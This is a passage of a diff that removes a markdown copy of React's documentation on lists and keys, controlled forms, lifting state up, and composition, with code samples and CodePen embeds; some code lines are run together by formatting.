-Returning `null` from a component's `render` method does not affect the firing of the component's lifecycle methods. For instance `componentDidUpdate` will still be called.
-
----
-
----
-
-### **Lists and Keys**
-
----
-
-### First, let's review how you transform lists in JavaScript.
-
-Given the code below, we use the `[map()](<https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map>)` function to take an array of `numbers` and double their values. We assign the new array returned by `map()` to the variable `doubled` and log it:
-
-```js
-const numbers = [1, 2, 3, 4, 5];
-const doubled = numbers.map((number) => number * 2);
-console.log(doubled);
-```
-
--   This code logs `[2, 4, 6, 8, 10]` to the console.
-
-> -   In React, transforming arrays into lists of [elements](https://reactjs.org/docs/rendering-elements.html) is nearly identical.
-
----
-
----
-
-### Rendering Multiple Components
-
-You can build collections of elements and [include them in JSX](https://reactjs.org/docs/introducing-jsx.html#embedding-expressions-in-jsx) using curly braces `{}`.
-
-Below, we loop through the `numbers` array using the JavaScript `[map()](<https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map>)` function. We return a `<li>` element for each item. Finally, we assign the resulting array of elements to `listItems`:
-
-```js
-const numbers = [1, 2, 3, 4, 5];
-const listItems = numbers.map((number) => <li>{number}</li>);
-```
-
-> We include the entire `listItems` array inside a `<ul>` element, and [render it to the DOM](https://reactjs.org/docs/rendering-elements.html#rendering-an-element-into-the-dom):
-
-```js
-ReactDOM.render(<ul>{listItems}</ul>, document.getElementById('root'));
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/GjPyQr?editors=0011"></iframe>
-
-[**TRY IT ON CODEPEN \_**(pen=**\_eYRmvvr?editors=0011)**](https://codepen.io/bgoonz/pen/eYRmvvr?editors=0011)
-
-This code displays a bullet list of numbers between 1 and 5.
-
----
-
----
-
-### Basic List Component
-
-Usually you would render lists inside a [component](https://reactjs.org/docs/components-and-props.html).
-
-##### We can refactor the previous example into a component that accepts an array of `numbers` and outputs a list of elements.
-
----
-
-```js
-function NumberList(props) {
-    const numbers = props.numbers;
-    const listItems = numbers.map((number) => <li>{number}</li>);
-    return <ul>{listItems}</ul>;
-}
-
-const numbers = [1, 2, 3, 4, 5];
-ReactDOM.render(<NumberList numbers={numbers} />, document.getElementById('root'));
-```
-
-> When you run this code, you'll be given a warning that a key should be provided for list items. A "key" is a special string attribute you need to include when creating lists of elements. We'll discuss why it's important in the next section.
-
-Let's assign a `key` to our list items inside `numbers.map()` and fix the missing key issue.
-
----
-
-```js
-function NumberList(props) {
-    const numbers = props.numbers;
-    const listItems = numbers.map((number) => <li key={number.toString()}> {number}</li>);
-    return <ul>{listItems}</ul>;
-}
-
-const numbers = [1, 2, 3, 4, 5];
-ReactDOM.render(<NumberList numbers={numbers} />, document.getElementById('root'));
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/jrXYRR?editors=0011"></iframe>
-
-[**TRY IT ON CODEPEN \_**(pen=**\_yLXyMMP?editors=0011)**](https://codepen.io/bgoonz/pen/yLXyMMP?editors=0011)
-
----
-
----
-
-### Keys
-
-Keys help React identify which items have changed, are added, or are removed. Keys should be given to the elements inside the array to give the elements a stable identity:
-
-```js
-const numbers = [1, 2, 3, 4, 5];
-const listItems = numbers.map((number) => <li key={number.toString()}> {number}</li>);
-```
-
--   The best way to pick a key is to use a string that uniquely identifies a list item among its siblings. Most often you would use IDs from your data as keys:
-
-```js
-const todoItems = todos.map((todo) => <li key={todo.id}> {todo.text}</li>);
-```
-
-> When you don't have stable IDs for rendered items, you may use the item index as a key as a last resort:
-
-```js
-const todoItems = todos.map((todo, index) =>
-  // Only do this if items have no stable IDs  <li key={index}>    {todo.text}
-  </li>);
-```
-
-> We don't recommend using indexes for keys if the order of items may change. This can negatively impact performance and may cause issues with component state. Check out Robin Pokorny's article for an [in-depth explanation on the negative impacts of using an index as a key](https://medium.com/@robinpokorny/index-as-a-key-is-an-anti-pattern-e0349aece318). If you choose not to assign an explicit key to list items then React will default to using indexes as keys.
-
-Here is an [in-depth explanation about why keys are necessary](https://reactjs.org/docs/reconciliation.html#recursing-on-children) if you're interested in learning more.
-
----
-
----
-
-### Extracting Components with Keys
-
-Keys only make sense in the context of the surrounding array.
-
-##### For example, if you [extract](https://reactjs.org/docs/components-and-props.html#extracting-components) a `ListItem` component, you should keep the key on the `<ListItem />` elements in the array rather than on the `<li>` element in the `ListItem` itself.
-
-**Example: Incorrect Key Usage**
-
-```
-function ListItem(props) {
-  const value = props.value;
-  return (
-    // Wrong! There is no need to specify the key here:    <li key={value.toString()}>      {value}
-    </li>);
-}
-
-function NumberList(props) {
-  const numbers = props.numbers;
-  const listItems = numbers.map((number) =>
-    // Wrong! The key should have been specified here:    <ListItem value={number} />  );
-  return (
-    <ul>      {listItems}
-    </ul>);
-}
-
-const numbers = [1, 2, 3, 4, 5];
-ReactDOM.render(
-  <NumberList numbers={numbers} />,
-  document.getElementById('root')
-);
-```
-
-**Example: Correct Key Usage**
-
-```
-function ListItem(props) {
-  // Correct! There is no need to specify the key here:  return <li>{props.value}</li>;}
-
-function NumberList(props) {
-  const numbers = props.numbers;
-  const listItems = numbers.map((number) =>
-    // Correct! Key should be specified inside the array.    <ListItem key={number.toString()} value={number} />  );
-  return (
-    <ul>      {listItems}
-    </ul>);
-}
-
-const numbers = [1, 2, 3, 4, 5];
-ReactDOM.render(
-  <NumberList numbers={numbers} />,
-  document.getElementById('root')
-);
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/ZXeOGM?editors=0010)
-
-A good rule of thumb is that elements inside the `map()` call need keys.
-
----
-
----
-
-### Keys Must Only Be Unique Among Siblings
-
-Keys used within arrays should be unique among their siblings. However, they don't need to be globally unique. We can use the same keys when we produce two different arrays:
-
----
-
-```js
-function Blog(props) {
-    const sidebar = (
-        <ul>
-            {' '}
-            {props.posts.map((post) => (
-                <li key={post.id}> {post.title}</li>
-            ))}
-        </ul>
-    );
-    const content = props.posts.map((post) => (
-        <div key={post.id}>
-            {' '}
-            <h3>{post.title}</h3> <p>{post.content}</p>{' '}
-        </div>
-    ));
-    return (
-        <div>
-            {' '}
-            {sidebar} <hr /> {content}{' '}
-        </div>
-    );
-}
-
-const posts = [
-    { id: 1, title: 'Hello World', content: 'Welcome to learning React!' },
-    { id: 2, title: 'Installation', content: 'You can install React from npm.' }
-];
-ReactDOM.render(<Blog posts={posts} />, document.getElementById('root'));
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/NRZYGN?editors=0010"></iframe>
-
-[**TRY IT ON CODEPEN \_**(pen=**\_mdwyWWy?editors=0010)**](https://codepen.io/bgoonz/pen/mdwyWWy?editors=0010)
-
-Keys serve as a hint to React but they don't get passed to your components. If you need the same value in your component, pass it explicitly as a prop with a different name:
-
-```js
-const content = posts.map((post) => <Post key={post.id} id={post.id} title={post.title} />);
-```
-
-> With the example above, the `Post` component can read `props.id`, but not `props.key`.
-
----
-
----
-
-### Embedding map() in JSX
-
-> -   In the examples above we declared a separate `listItems` variable and included it in JSX:
-
----
-
-```js
-function NumberList(props) {
-    const numbers = props.numbers;
-    const listItems = numbers.map((number) => <ListItem key={number.toString()} value={number} />);
-    return <ul> {listItems}</ul>;
-}
-```
-
-JSX allows [embedding any expression](https://reactjs.org/docs/introducing-jsx.html#embedding-expressions-in-jsx) in curly braces so we could inline the `map()` result:
-
----
-
-```js
-function NumberList(props) {
-    const numbers = props.numbers;
-    return (
-        <ul>
-            {' '}
-            {numbers.map((number) => (
-                <ListItem key={number.toString()} value={number} />
-            ))}{' '}
-        </ul>
-    );
-}
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/BLvYrB?editors=0010"></iframe>
-
-[**TRY IT ON CODEPEN \_**(pen=**\_JjJoWEw?editors=0010)**](https://codepen.io/bgoonz/pen/JjJoWEw?editors=0010)
-
-Sometimes this results in clearer code, but this style can also be abused. Like in JavaScript, it is up to you to decide whether it is worth extracting a variable for readability. Keep in mind that if the `map()` body is too nested, it might be a good time to [extract a component](https://reactjs.org/docs/components-and-props.html#extracting-components).
-
----
-
----
-
-### **Forms**
-
----
-
-### HTML form elements work a bit differently from other DOM elements in React, because form elements naturally keep some internal state. ##### For example, this form in plain HTML accepts a single name:
-
-```js
-<form>
-    <label>
-        Name:
-        <input type="text" name="name" />
-    </label>
-    <input type="submit" value="Submit" />
-</form>
-```
-
--   This form has the default HTML form behavior of browsing to a new page when the user submits the form. If you want this behavior in React, it just works. But in most cases, it's convenient to have a JavaScript function that handles the submission of the form and has access to the data that the user entered into the form. The standard way to achieve this is with a technique called "controlled components".
-
----
-
----
-
-### Controlled Components
-
-> -   In HTML, form elements such as `<input>`, `<textarea>`, and `<select>` typically maintain their own state and update it based on user input. In React, mutable state is typically kept in the state property of components, and only updated with `[setState()](<https://reactjs.org/docs/react-component.html#setstate>)`.
-
-##### We can combine the two by making the React state be the "single source of truth". Then the React component that renders a form also controls what happens in that form on subsequent user input. An input form element whose value is controlled by React in this way is called a "controlled component".
-
-##### For example, if we want to make the previous example log the name when it is submitted, we can write the form as a controlled component:
-
-```js
-class NameForm extends React.Component {
-    constructor(props) {
-        super(props);
-        this.state = { value: '' };
-        this.handleChange = this.handleChange.bind(this);
-        this.handleSubmit = this.handleSubmit.bind(this);
-    }
-
-    handleChange(event) {
-        this.setState({ value: event.target.value });
-    }
-    handleSubmit(event) {
-        alert('A name was submitted: ' + this.state.value);
-        event.preventDefault();
-    }
-
-    render() {
-        return (
-            <form onSubmit={this.handleSubmit}>
-                {' '}
-                <label>
-                    {' '}
-                    Name:
-                    <input type="text" value={this.state.value} onChange={this.handleChange} />{' '}
-                </label> <input type="submit" value="Submit" />{' '}
-            </form>
-        );
-    }
-}
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/VmmPgp?editors=0010"></iframe>
-
-[**TRY IT ON CODEPEN \_**(pen=**\_rNwayjv?editors=0010)**](https://codepen.io/bgoonz/pen/rNwayjv?editors=0010)
-
-Since the `value` attribute is set on our form element, the displayed value will always be `this.state.value`, making the React state the source of truth. Since `handleChange` runs on every keystroke to update the React state, the displayed value will update as the user types.
-
-With a controlled component, the input's value is always driven by the React state. While this means you have to type a bit more code, you can now pass the value to other UI elements too, or reset it from other event handlers.
-
----
-
----
-
-### The textarea Tag
-
-> -   In HTML, a `<textarea>` element defines its text by its children:
-
-```js
-<textarea>Hello there, this is some text in a text area</textarea>
-```
-
-#### In React, a `<textarea>` uses a `value` attribute instead. This way, a form using a `<textarea>` can be written very similarly to a form that uses a single-line input:
-
-```js
-class EssayForm extends React.Component {
-    constructor(props) {
-        super(props);
-        this.state = {
-            value: 'Please write an essay about your favorite DOM element.'
-        };
-        this.handleChange = this.handleChange.bind(this);
-        this.handleSubmit = this.handleSubmit.bind(this);
-    }
-
-    handleChange(event) {
-        this.setState({ value: event.target.value });
-    }
-    handleSubmit(event) {
-        alert('An essay was submitted: ' + this.state.value);
-        event.preventDefault();
-    }
-
-    render() {
-        return (
-            <form onSubmit={this.handleSubmit}>
-                {' '}
-                <label>
-                    {' '}
-                    Essay:
-                    <textarea value={this.state.value} onChange={this.handleChange} />{' '}
-                </label> <input type="submit" value="Submit" />{' '}
-            </form>
-        );
-    }
-}
-```
-
-Notice that `this.state.value` is initialized in the constructor, so that the text area starts off with some text in it.
-
----
-
----
-
-### The select Tag
-
-> -   In HTML, `<select>` creates a drop-down list. ##### For example, this HTML creates a drop-down list of flavors:
-
-`<select><option value="grapefruit">Grapefruit</option><option value="lime">Lime</option><option selected value="coconut">Coconut</option><option value="mango">Mango</option></select>`
-
-Note that the Coconut option is initially selected, because of the `selected` attribute. React, instead of using this `selected` attribute, uses a `value` attribute on the root `select` tag. This is more convenient in a controlled component because you only need to update it in one place. ##### For example:
-
-```js
-class FlavorForm extends React.Component {
-    constructor(props) {
-        super(props);
-        this.state = { value: 'coconut' };
-        this.handleChange = this.handleChange.bind(this);
-        this.handleSubmit = this.handleSubmit.bind(this);
-    }
-
-    handleChange(event) {
-        this.setState({ value: event.target.value });
-    }
-    handleSubmit(event) {
-        alert('Your favorite flavor is: ' + this.state.value);
-        event.preventDefault();
-    }
-
-    render() {
-        return (
-            <form onSubmit={this.handleSubmit}>
-                {' '}
-                <label>
-                    {' '}
-                    Pick your favorite flavor:
-                    <select value={this.state.value} onChange={this.handleChange}>
-                        {' '}
-                        <option value="grapefruit">Grapefruit</option> <option value="lime">Lime</option> <option value="coconut">Coconut</option> <option value="mango">
-                            Mango
-                        </option>{' '}
-                    </select>{' '}
-                </label> <input type="submit" value="Submit" />{' '}
-            </form>
-        );
-    }
-}
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/JbbEzX?editors=0010)
-
-Overall, this makes it so that `<input type="text">`, `<textarea>`, and `<select>` all work very similarly - they all accept a `value` attribute that you can use to implement a controlled component.
-
-> NoteYou can pass an array into the value attribute, allowing you to select multiple options in a select tag:\<select multiple={true} value={\['B', 'C']}>
-
----
-
----
-
-### The file input Tag
-
-> -   In HTML, an `<input type="file">` lets the user choose one or more files from their device storage to be uploaded to a server or manipulated by JavaScript via the [File API](https://developer.mozilla.org/en-US/docs/Web/API/File/Using_files_from_web_applications).
-
-`<input type="file" />`
-
-Because its value is read-only, it is an **uncontrolled** component in React. It is discussed together with other uncontrolled components [later in the documentation](https://reactjs.org/docs/uncontrolled-components.html#the-file-input-tag).
-
----
-
----
-
-### Handling Multiple Inputs
-
-When you need to handle multiple controlled `input` elements, you can add a `name` attribute to each element and let the handler function choose what to do based on the value of `event.target.name`.
-
-##### For example:
-
-```js
-class Reservation extends React.Component {
-    constructor(props) {
-        super(props);
-        this.state = {
-            isGoing: true,
-            numberOfGuests: 2
-        };
-
-        this.handleInputChange = this.handleInputChange.bind(this);
-    }
-
-    handleInputChange(event) {
-        const target = event.target;
-        const value = target.type === 'checkbox' ? target.checked : target.value;
-        const name = target.name;
-        this.setState({
-            [name]: value
-        });
-    }
-
-    render() {
-        return (
-            <form>
-                {' '}
-                <label>
-                    {' '}
-                    Is going:
-                    <input name="isGoing" type="checkbox" checked={this.state.isGoing} onChange={this.handleInputChange} />{' '}
-                </label> <br /> <label>
-                    {' '}
-                    Number of guests:
-                    <input name="numberOfGuests" type="number" value={this.state.numberOfGuests} onChange={this.handleInputChange} />{' '}
-                </label>{' '}
-            </form>
-        );
-    }
-}
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/wgedvV?editors=0010)
-
-Note how we used the ES6 [computed property name](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Operators/Object_initializer#Computed_property_names) syntax to update the state key corresponding to the given input name:
-
-```js
-this.setState({
-    [name]: value
-});
-```
-
-It is equivalent to this ES5 code:
-
-```js
-var partialState = {};
-partialState[name] = value;
-this.setState(partialState);
-```
-
-Also, since `setState()` automatically [merges a partial state into the current state](https://reactjs.org/docs/state-and-lifecycle.html#state-updates-are-merged), we only needed to call it with the changed parts.
-
----
-
----
-
-### Controlled Input Null Value
-
-Specifying the value prop on a [controlled component](https://reactjs.org/docs/forms.html#controlled-components) prevents the user from changing the input unless you desire so. If you've specified a `value` but the input is still editable, you may have accidentally set `value` to `undefined` or `null`.
-
-The following code demonstrates this. (The input is locked at first but becomes editable after a short delay.)
-
-```
-ReactDOM.render(<input value="hi" />, mountNode);
-
-setTimeout(function() {
-  ReactDOM.render(<input value={null} />, mountNode);
-}, 1000);
-```
-
----
-
----
-
-### Alternatives to Controlled Components
-
-It can sometimes be tedious to use controlled components, because you need to write an event handler for every way your data can change and pipe all of the input state through a React component. This can become particularly annoying when you are converting a preexisting codebase to React, or integrating a React application with a non-React library. In these situations, you might want to check out [uncontrolled components](https://reactjs.org/docs/uncontrolled-components.html), an alternative technique for implementing input forms.
-
----
-
----
-
-### Fully-Fledged Solutions
-
-If you're looking for a complete solution including validation, keeping track of the visited fields, and handling form submission, [Formik](https://jaredpalmer.com/formik) is one of the popular choices. However, it is built on the same principles of controlled components and managing state --- so don't neglect to learn them.
-
----
-
----
-
-### **Lifting State Up**
-
----
-
-### Often, several components need to reflect the same changing data. We recommend lifting the shared state up to their closest common ancestor. Let's see how this works in action.
-
-> -   In this section, we will create a temperature calculator that calculates whether the water would boil at a given temperature.
-
-##### We will start with a component called `BoilingVerdict`. It accepts the `celsius` temperature as a prop, and prints whether it is enough to boil the water:
-
----
-
-```js
-function BoilingVerdict(props) {
-    if (props.celsius >= 100) {
-        return <p>The water would boil.</p>;
-    }
-    return <p>The water would not boil.</p>;
-}
-```
-
-Next, we will create a component called `Calculator`. It renders an `<input>` that lets you enter the temperature, and keeps its value in `this.state.temperature`.
-
-Additionally, it renders the `BoilingVerdict` for the current input value.
-
-```
-class Calculator extends React.Component {
-  constructor(props) {
-    super(props);
-    this.handleChange = this.handleChange.bind(this);
-    this.state = {temperature: ''};  }
-
-  handleChange(e) {
-    this.setState({temperature: e.target.value});  }
-
-  render() {
-    const temperature = this.state.temperature;    return (
-      <fieldset>        <legend>Enter temperature in Celsius:</legend>        <input          value={temperature}          onChange={this.handleChange} />        <BoilingVerdict          celsius={parseFloat(temperature)} />      </fieldset>);
-  }
-}
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/ZXeOBm?editors=0010"></iframe>
-
-[**TRY IT ON CODEPEN \_**(pen=**\_zYzxZoL?editors=0010)**](https://codepen.io/bgoonz/pen/zYzxZoL?editors=0010)
-
----
-
----
-
-### Adding a Second Input
-
-Our new requirement is that, in addition to a Celsius input, we provide a Fahrenheit input, and they are kept in sync.
-
-##### We can start by extracting a `TemperatureInput` component from `Calculator`. We will add a new `scale` prop to it that can either be `"c"` or `"f"`:
-
-```js
-const scaleNames = { c: 'Celsius', f: 'Fahrenheit' };
-class TemperatureInput extends React.Component {
-    constructor(props) {
-        super(props);
-        this.handleChange = this.handleChange.bind(this);
-        this.state = { temperature: '' };
-    }
-
-    handleChange(e) {
-        this.setState({ temperature: e.target.value });
-    }
-
-    render() {
-        const temperature = this.state.temperature;
-        const scale = this.props.scale;
-        return (
-            <fieldset>
-                {' '}
-                <legend>Enter temperature in {scaleNames[scale]}:</legend> <input value={temperature} onChange={this.handleChange} />{' '}
-            </fieldset>
-        );
-    }
-}
-```
-
-##### We can now change the `Calculator` to render two separate temperature inputs:
-
-```js
-class Calculator extends React.Component {
-    render() {
-        return (
-            <div>
-                {' '}
-                <TemperatureInput scale="c" /> <TemperatureInput scale="f" />{' '}
-            </div>
-        );
-    }
-}
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/jGBryx?editors=0010"></iframe>
-
-[**TRY IT ON CODEPEN \_**(pen=**\_QWgwpGv?editors=0010)**](https://codepen.io/bgoonz/pen/QWgwpGv?editors=0010)
-
-##### We have two inputs now, but when you enter the temperature in one of them, the other doesn't update. This contradicts our requirement: we want to keep them in sync.
-
-##### We also can't display the `BoilingVerdict` from `Calculator`. The `Calculator` doesn't know the current temperature because it is hidden inside the `TemperatureInput`.
-
----
-
----
-
-### Writing Conversion Functions
-
-First, we will write two functions to convert from Celsius to Fahrenheit and back:
-
----
-
-```js
-function toCelsius(fahrenheit) {
-    return ((fahrenheit - 32) * 5) / 9;
-}
-
-function toFahrenheit(celsius) {
-    return (celsius * 9) / 5 + 32;
-}
-```
-
--   These two functions convert numbers. We will write another function that takes a string `temperature` and a converter function as arguments and returns a string. We will use it to calculate the value of one input based on the other input.
-
-It returns an empty string on an invalid `temperature`, and it keeps the output rounded to the third decimal place:
-
----
-
-```js
-function tryConvert(temperature, convert) {
-    const input = parseFloat(temperature);
-    if (Number.isNaN(input)) {
-        return '';
-    }
-    const output = convert(input);
-    const rounded = Math.round(output * 1000) / 1000;
-    return rounded.toString();
-}
-```
-
-##### For example, `tryConvert('abc', toCelsius)` returns an empty string, and `tryConvert('10.22', toFahrenheit)` returns `'50.396'`.
-
----
-
----
-
-### Lifting State Up
-
-Currently, both `TemperatureInput` components independently keep their values in the local state:
-
-```js
-class TemperatureInput extends React.Component {
-  constructor(props) {
-    super(props);
-    this.handleChange = this.handleChange.bind(this);
-    this.state = {temperature: ''};  }
-
-  handleChange(e) {
-    this.setState({temperature: e.target.value});  }
-
-  render() {
-    const temperature = this.state.temperature;    // ...
-```
-
-However, we want these two inputs to be in sync with each other. When we update the Celsius input, the Fahrenheit input should reflect the converted temperature, and vice versa.
-
-> -   In React, sharing state is accomplished by moving it up to the closest common ancestor of the components that need it. This is called "lifting state up". We will remove the local state from the `TemperatureInput` and move it into the `Calculator` instead.
-
-If the `Calculator` owns the shared state, it becomes the "source of truth" for the current temperature in both inputs. It can instruct them both to have values that are consistent with each other. Since the props of both `TemperatureInput` components are coming from the same parent `Calculator` component, the two inputs will always be in sync.
-
-Let's see how this works step by step.
-
-First, we will replace `this.state.temperature` with `this.props.temperature` in the `TemperatureInput` component. For now, let's pretend `this.props.temperature` already exists, although we will need to pass it from the `Calculator` in the future:
-
-```js
-  render() {
-    // Before: const temperature = this.state.temperature;
-    const temperature = this.props.temperature;    // ...
-```
-
-##### We know that [props are read-only](https://reactjs.org/docs/components-and-props.html#props-are-read-only). When the `temperature` was in the local state, the `TemperatureInput` could just call `this.setState()` to change it. However, now that the `temperature` is coming from the parent as a prop, the `TemperatureInput` has no control over it.
-
-> -   In React, this is usually solved by making a component "controlled". Just like the DOM `<input>` accepts both a `value` and an `onChange` prop, so can the custom `TemperatureInput` accept both `temperature` and `onTemperatureChange` props from its parent `Calculator`.
-
-Now, when the `TemperatureInput` wants to update its temperature, it calls `this.props.onTemperatureChange`:
-
-```js
-  handleChange(e) {
-    // Before: this.setState({temperature: e.target.value});
-    this.props.onTemperatureChange(e.target.value);    // ...
-```
-
-> Note:There is no special meaning to either temperature or onTemperatureChange prop names in custom components. We could have called them anything else, like name them value and onChange which is a common convention.
-
-The `onTemperatureChange` prop will be provided together with the `temperature` prop by the parent `Calculator` component. It will handle the change by modifying its own local state, thus re-rendering both inputs with the new values. We will look at the new `Calculator` implementation very soon.
-
-Before diving into the changes in the `Calculator`, let's recap our changes to the `TemperatureInput` component. We have removed the local state from it, and instead of reading `this.state.temperature`, we now read `this.props.temperature`. Instead of calling `this.setState()` when we want to make a change, we now call `this.props.onTemperatureChange()`, which will be provided by the `Calculator`:
-
-```js
-class TemperatureInput extends React.Component {
-    constructor(props) {
-        super(props);
-        this.handleChange = this.handleChange.bind(this);
-    }
-
-    handleChange(e) {
-        this.props.onTemperatureChange(e.target.value);
-    }
-
-    render() {
-        const temperature = this.props.temperature;
-        const scale = this.props.scale;
-        return (
-            <fieldset>
-                {' '}
-                <legend>Enter temperature in {scaleNames[scale]}:</legend> <input value={temperature} onChange={this.handleChange} />{' '}
-            </fieldset>
-        );
-    }
-}
-```
-
-Now let's turn to the `Calculator` component.
-
-##### We will store the current input's `temperature` and `scale` in its local state. This is the state we "lifted up" from the inputs, and it will serve as the "source of truth" for both of them. It is the minimal representation of all the data we need to know in order to render both inputs.
-
-##### For example, if we enter 37 into the Celsius input, the state of the `Calculator` component will be:
-
-```js
-{
-  temperature: '37',
-  scale: 'c'
-}
-```
-
-If we later edit the Fahrenheit field to be 212, the state of the `Calculator` will be:
-
-```js
-{
-  temperature: '212',
-  scale: 'f'
-}
-```
-
-##### We could have stored the value of both inputs but it turns out to be unnecessary. It is enough to store the value of the most recently changed input, and the scale that it represents. We can then infer the value of the other input based on the current `temperature` and `scale` alone.
-
-The inputs stay in sync because their values are computed from the same state:
-
-```js
-class Calculator extends React.Component {
-  constructor(props) {
-    super(props);
-    this.handleCelsiusChange = this.handleCelsiusChange.bind(this);
-    this.handleFahrenheitChange = this.handleFahrenheitChange.bind(this);
-    this.state = {temperature: '', scale: 'c'};  }
-
-  handleCelsiusChange(temperature) {
-    this.setState({scale: 'c', temperature});  }
-
-  handleFahrenheitChange(temperature) {
-    this.setState({scale: 'f', temperature});  }
-
-  render() {
-    const scale = this.state.scale;    const temperature = this.state.temperature;    const celsius = scale === 'f' ? tryConvert(temperature, toCelsius) : temperature;    const fahrenheit = scale === 'c' ? tryConvert(temperature, toFahrenheit) : temperature;return (
-      <div>        <TemperatureInputscale="c"          temperature={celsius}          onTemperatureChange={this.handleCelsiusChange} />        <TemperatureInputscale="f"          temperature={fahrenheit}          onTemperatureChange={this.handleFahrenheitChange} />        <BoilingVerdict          celsius={parseFloat(celsius)} />      </div>);
-  }
-}
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/WZpxpz?editors=0010)
-
-Now, no matter which input you edit, `this.state.temperature` and `this.state.scale` in the `Calculator` get updated. One of the inputs gets the value as is, so any user input is preserved, and the other input value is always recalculated based on it.
-
-Let's recap what happens when you edit an input:
-
--   React calls the function specified as `onChange` on the DOM `<input>`. In our case, this is the `handleChange` method in the `TemperatureInput` component.
--   The `handleChange` method in the `TemperatureInput` component calls `this.props.onTemperatureChange()` with the new desired value. Its props, including `onTemperatureChange`, were provided by its parent component, the `Calculator`.
--   When it previously rendered, the `Calculator` had specified that `onTemperatureChange` of the Celsius `TemperatureInput` is the `Calculator`'s `handleCelsiusChange` method, and `onTemperatureChange` of the Fahrenheit `TemperatureInput` is the `Calculator`'s `handleFahrenheitChange` method. So either of these two `Calculator` methods gets called depending on which input we edited.
--   Inside these methods, the `Calculator` component asks React to re-render itself by calling `this.setState()` with the new input value and the current scale of the input we just edited.
--   React calls the `Calculator` component's `render` method to learn what the UI should look like. The values of both inputs are recomputed based on the current temperature and the active scale. The temperature conversion is performed here.
--   React calls the `render` methods of the individual `TemperatureInput` components with their new props specified by the `Calculator`. It learns what their UI should look like.
--   React calls the `render` method of the `BoilingVerdict` component, passing the temperature in Celsius as its props.
--   React DOM updates the DOM with the boiling verdict and to match the desired input values. The input we just edited receives its current value, and the other input is updated to the temperature after conversion.
-
-Every update goes through the same steps so the inputs stay in sync.
-
----
-
----
-
-### Lessons Learned
-
-There should be a single "source of truth" for any data that changes in a React application. Usually, the state is first added to the component that needs it for rendering. Then, if other components also need it, you can lift it up to their closest common ancestor. Instead of trying to sync the state between different components, you should rely on the [top-down data flow](https://reactjs.org/docs/state-and-lifecycle.html#the-data-flows-down).
-
-Lifting state involves writing more "boilerplate" code than two-way binding approaches, but as a benefit, it takes less work to find and isolate bugs. Since any state "lives" in some component and that component alone can change it, the surface area for bugs is greatly reduced. Additionally, you can implement any custom logic to reject or transform user input.
-
-If something can be derived from either props or state, it probably shouldn't be in the state. ##### For example, instead of storing both `celsiusValue` and `fahrenheitValue`, we store just the last edited `temperature` and its `scale`. The value of the other input can always be calculated from them in the `render()` method. This lets us clear or apply rounding to the other field without losing any precision in the user input.
-
-When you see something wrong in the UI, you can use [React Developer Tools](https://github.com/facebook/react/tree/main/packages/react-devtools) to inspect the props and move up the tree until you find the component responsible for updating the state. This lets you trace the bugs to their source:
-
-![https://reactjs.org/ef94afc3447d75cdc245c77efb0d63be/react-devtools-state.gif](https://reactjs.org/ef94afc3447d75cdc245c77efb0d63be/react-devtools-state.gif)
-
----
-
----
-
-### **Composition vs Inheritance**
-
----
-
-### React has a powerful composition model, and we recommend using composition instead of inheritance to reuse code between components.
-
-> -   In this section, we will consider a few problems where developers new to React often reach for inheritance, and show how we can solve them with composition.
-
----
-
----
-
-### Containment
-
-Some components don't know their children ahead of time. This is especially common for components like `Sidebar` or `Dialog` that represent generic "boxes".
-
-##### We recommend that such components use the special `children` prop to pass children elements directly into their output:
-
----
-
-```js
-function FancyBorder(props) {
-    return <div className={'FancyBorder FancyBorder-' + props.color}> {props.children} </div>;
-}
-```
-
--   This lets other components pass arbitrary children to them by nesting the JSX:
-
----
-
-```js
-function WelcomeDialog() {
-    return (
-        <FancyBorder color="blue">
-            {' '}
-            <h1 className="Dialog-title"> Welcome </h1> <p className="Dialog-message"> Thank you for visiting our spacecraft! </p>{' '}
-        </FancyBorder>
-    );
-}
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/ozqNOV?editors=0010)
-
-Anything inside the `<FancyBorder>` JSX tag gets passed into the `FancyBorder` component as a `children` prop. Since `FancyBorder` renders `{props.children}` inside a `<div>`, the passed elements appear in the final output.
-
-While this is less common, sometimes you might need multiple "holes" in a component. In such cases you may come up with your own convention instead of using `children`:
-
----
-
-```js
-
-
-function SplitPane(props) {
-  return (
-    <div className="SplitPane">      <div className="SplitPane-left">        {props.left}      </div>      <div className="SplitPane-right">        {props.right}      </div>    </div>);
-}
-
-function App() {
-  return (
-    <SplitPaneleft={
-        <Contacts />      }right={
-        <Chat />      } />);
-}
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/gwZOJp?editors=0010)
-
-React elements like `<Contacts />` and `<Chat />` are just objects, so you can pass them as props like any other data. This approach may remind you of "slots" in other libraries but there are no limitations on what you can pass as props in React.
-
----
-
----
-
-### Specialization
-
-Sometimes we think about components as being "special cases" of other components. ##### For example, we might say that a `WelcomeDialog` is a special case of `Dialog`.
-
-> -   In React, this is also achieved by composition, where a more "specific" component renders a more "generic" one and configures it with props:
-
----
-
-```js
-function Dialog(props) {
-    return (
-        <FancyBorder color="blue">
-            {' '}
-            <h1 className="Dialog-title"> {props.title} </h1> <p className="Dialog-message"> {props.message} </p>{' '}
-        </FancyBorder>
-    );
-}
-
-function WelcomeDialog() {
-    return <Dialog title="Welcome" message="Thank you for visiting our spacecraft!" />;
-}
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/kkEaOZ?editors=0010)
-
-Composition works equally well for components defined as classes:
-
----
-
-```js
